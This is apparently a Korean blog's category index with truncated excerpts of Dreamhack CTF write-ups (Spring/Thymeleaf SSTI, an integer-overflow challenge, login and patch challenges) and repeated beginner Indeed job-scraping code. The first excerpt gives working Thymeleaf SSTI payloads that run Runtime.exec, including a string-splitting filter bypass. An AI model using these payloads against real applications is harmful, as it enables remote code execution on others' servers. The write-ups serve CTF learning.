본문 바로가기

호그와트

(366)
드림핵 spring view https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/ 가장 기본이 되는 내용 https://www.reddit.com/r/HowToHack/comments/rp0dc5/thymeleaf_ssti_how_do_i_bypass_the_filtering/ __${(1).TYPE.forName('ja'+'va.lang.Runt'+'ime')...}__::.x __${T(java.lang.Runtime).getRuntime().exec("id")}__::.x ​ nc host1.dreamhack.games 13459 여기로 들어가서 슛 때려도 괜찮다 그렇긴 한데 역시 웹 상에서 바로 아는 게 제일 편하긴 하다 ​ /(${T(ja..
드림핵 sint 이론적 기반은 아주 간단하다 Type Error라는 간단한 취약점에 의거하고 있는데 이는 개발자가 기본적으로 선택해주는 변수 크기에서 나오는 취약점이라고 할 수 있다 컴파일러는 개발자가 정해준 변수 크기를 따라서 메모리를 불러다가 계산하는데 만약 더해진 값이든 조작한 값이든 그 값이 그 크기 자체를 벗어나게 되면 값이 적어지든 커지든 하는 문제가 발생할 수 있다 ​ 이 문제는 버퍼 오버플로우를 일으키면 flag를 주겠다고 간단한 요구를 하고 있다 signal(SIGSEGV, get_shell); ​ 그런데 밑에 보니 if (size > 256 || size < 0) { printf("Buffer Overflow!\n"); exit(0); } 이런 식으로 나름 버퍼 오버플로우를 감지하려 하고 있다 size..
대나무숲 1 돌파 import requests from bs4 import BeautifulSoup ​ LIMIT = 50 URL = "http://www.indeed.com/jobs?q=python&limit={LIMIT}" ​ def extract_indeed_pages(): result = requests.get(URL) soup = BeautifulSoup(result.text, "html.parser") pagination = soup.find("div", {"class":"pagination"}) links = pagination.find_all('a') pages = [] for link in links[:-1]: pages.append(int(link.string)) max_page = pages[-1] r..
Dreamhack login-1 admin admin 11 panda panda123 58 ​ 93 88 81 ​ @app.route('/user/') def users(useridx): conn = get_db() cur = conn.cursor() user = cur.execute('SELECT * FROM user WHERE idx = ?;', [str(useridx)]).fetchone() ​ if user: return render_template('user.html', user=user) ​ return ""; => user/숫자 입력하면 해당 user의 정보가 나온다 ​ 개인적으로 웹 중에 가장 쉽게 풀었다 ;; 5분~10분 정도 걸렸다 guest 아이디 하나 만들어보고 바꿔보고 하면서 backcode가 존재한다는 점을 바..
extract company import requests from bs4 import BeautifulSoup ​ LIMIT = 50 INDEED_URL = "http://www.indeed.com/jobs?q=python&limit={LIMIT}" ​ def extract_indeed_pages(): result = requests.get(INDEED_URL) soup = BeautifulSoup(result.text, "html.parser") pagination = soup.find("div", {"class":"pagination"}) links = pagination.find_all('a') pages = [] for link in links[:-1]: pages.append(int(link.string)) max_page..
extract title jobs import requests from bs4 import BeautifulSoup ​ LIMIT = 50 INDEED_URL = "http://www.indeed.com/jobs?q=python&limit={LIMIT}" ​ def extract_indeed_pages(): result = requests.get(INDEED_URL) soup = BeautifulSoup(result.text, "html.parser") pagination = soup.find("div", {"class":"pagination"}) links = pagination.find_all('a') pages = [] for link in links[:-1]: pages.append(int(link.string)) max_page..
extract last page import requests from bs4 import BeautifulSoup ​ LIMIT = 50 INDEED_URL = "http://www.indeed.com/jobs?q=python&limit={LIMIT}" ​ def extract_indeed_pages(): result = requests.get(INDEED_URL) soup = BeautifulSoup(result.text, "html.parser") pagination = soup.find("div", {"class":"pagination"}) links = pagination.find_all('a') pages = [] for link in links[:-1]: pages.append(int(link.string)) max_page..
Dreamhack web PATCH-1 #!/usr/bin/python3 from flask import Flask, request, render_template_string, g, session, jsonify import sqlite3 import os, hashlib ​ app = Flask(__name__) app.secret_key = os.urandom(32) ​ def get_db(): db = getattr(g, '_database', None) if db is None: db = g._database = sqlite3.connect(os.environ['DATABASE']) db.row_factory = sqlite3.Row return db ​ def query_db(query, args=(), one=False): cur ..